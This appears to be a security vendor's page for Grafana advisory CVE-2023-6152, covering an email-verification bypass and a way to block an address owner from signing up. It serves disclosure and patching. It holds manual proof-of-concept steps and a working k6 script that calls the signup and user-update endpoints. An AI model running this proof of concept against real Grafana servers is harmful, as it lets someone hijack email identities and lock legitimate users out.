Skip to main content

Boteraser | Website and Server Security Solutions

🛡️ CVE-2023-6152 — grafana

🟡 CVSS 5.0 — Medium ✅ No Known Exploit CWE-863 OSV
5.0
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

Email Validation Bypass And Preventing Sign Up From Email's Owner

Summary

Email validation can easily be bypassed because verify_email_enabled option enable email validation at sign up only.

A user changing it's email after signing up (and verifying it) can change it without verification in /profile.

This can be used to prevent legitimate owner of the email address from signing up.

Another way to prevent email's owner from signing up is by setting Username as an email:

When a new user is registrering, they can set two different email addresses in the Email and Username field, technically having 2 email addresses (because Grafana handles usernames and emails the same in some situations), but only the former is validated.

![](https://user-images.githubusercontent.com/44581623/282073913-c1a8c20b-b6c3-46eb-840c-9e0dae718a2a.png)

Here user a prevents owner of [email protected] to signup.

Details

I don't know exact location but this is related to PUT /api/user handler.

PoC

Bypass email validation:

  • Start a new grafana instance using latest version
  • Sign up with email foo@example.
  • Login to that account.
  • Go to profile and change email to [email protected]
  • That's it, your using an email you don't own.

Prevent email's owner from signing up:

K6 script (with verify_email_enabled set to false):

```js

import { check, group } from "k6"

import http from "k6/http"

export const options = {

scenarios: {

perVuIter: {

executor: 'per-vu-iterations',

vus: 1,

iterations: 1

}

}

}

const GRAFANA_URL = __ENV.GRAFANA_URL || "http://localhost:3000"

export default function () {

group("create user_a with email [email protected]", () => {

const response = http.post(${GRAFANA_URL}/api/user/signup/step2, JSON.stringify({

"email": "[email protected]",

"password": "password"

}), {

headers: {

'Content-Type': "application/json"

}

})

check(response, {

'status code is 200': (r) => r.status == 200

})

})

group("change user_a login to [email protected]", () => {

const response = http.put(${GRAFANA_URL}/api/user, JSON.stringify({

"email": "[email protected]",

"login": "[email protected]", // user_b email.

}), {

headers: {

'Content-Type': "application/json"

}

})

check(response, {

'status code is 200': (r) => r.status == 200

})

})

http.cookieJar().clear(GRAFANA_URL)

group("create user_b with email [email protected]", () => {

const response = http.post(${GRAFANA_URL}/api/user/signup/step2, JSON.stringify({

"email": "[email protected]",

"username": "[email protected]",

"password": "password"

}), {

headers: {

'Content-Type': "application/json"

}

})

check(response, {

'status code is 200': (r) => r.status == 200 // fail

})

})

}

```

Impact

Bypass email verification.

Prevent legitimate owner from signing up.

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs low-level privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality none, integrity low, availability low.

CVSS metrics in full

The score comes from this vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L

  • Attack vector: Network — reachable from anywhere that can route to the service.
  • Attack complexity: Low — the attack works reliably, with no preparation.
  • Privileges required: Low — an ordinary user account is enough.
  • User interaction: None — nobody has to be tricked into anything.
  • Scope: Unchanged — the damage stays inside the vulnerable component.
  • Confidentiality impact: None.
  • Integrity impact: Low — limited, and the attacker does not choose what is affected.
  • Availability impact: Low — limited, and the attacker does not choose what is affected.

Weakness class

CVE-2023-6152 is classified as CWE-863: Incorrect Authorization. An authorisation check runs but reaches the wrong conclusion, permitting actions it should refuse.

Affected software

CVE-2023-6152 is recorded against 2 packages.

  • github.com/grafana/grafana
  • grafana

Timeline and source

Published on 13 February 2024 and last revised on 7 August 2026. No public exploit is currently recorded for this entry. Record sourced from OSV.

References

github.com (Web)
nvd.nist.gov (Advisory)
github.com (Package)
grafana.com (Web)
security.netapp.com (Web)

Other advisories for this package

github.com/grafana/grafana has other advisories on record. If you are patching this one, these are worth checking on the same host:

Same weakness in other software

These advisories are the same class of weakness (CWE-863: Incorrect Authorization) in other software:

CVE-2023-6152 on other distributions

Each distribution ships its own build and its own fixed version. Pick the one you run:

Details

Severity Medium
CVSS Score 5.0
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L
CWE CWE-863
Public Exploit ✅ No
Source OSV
Published 2024-02-13
Updated 2026-08-20
Modified 2026-08-07
Fix URL N/A

Affected Packages

Software From version Fixed in
github.com/grafana/grafana — —
grafana — —

Similar Threats

Vulnerability Monitoring

Track new vulnerabilities in grafana

CVE-2023-6152 is rated CVSS 5.0 Medium. BotEraser monitors your WordPress installation and notifies you when software you use appears in our vulnerability database.

Set Up Free Alerts →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesCVECVE 2023
✓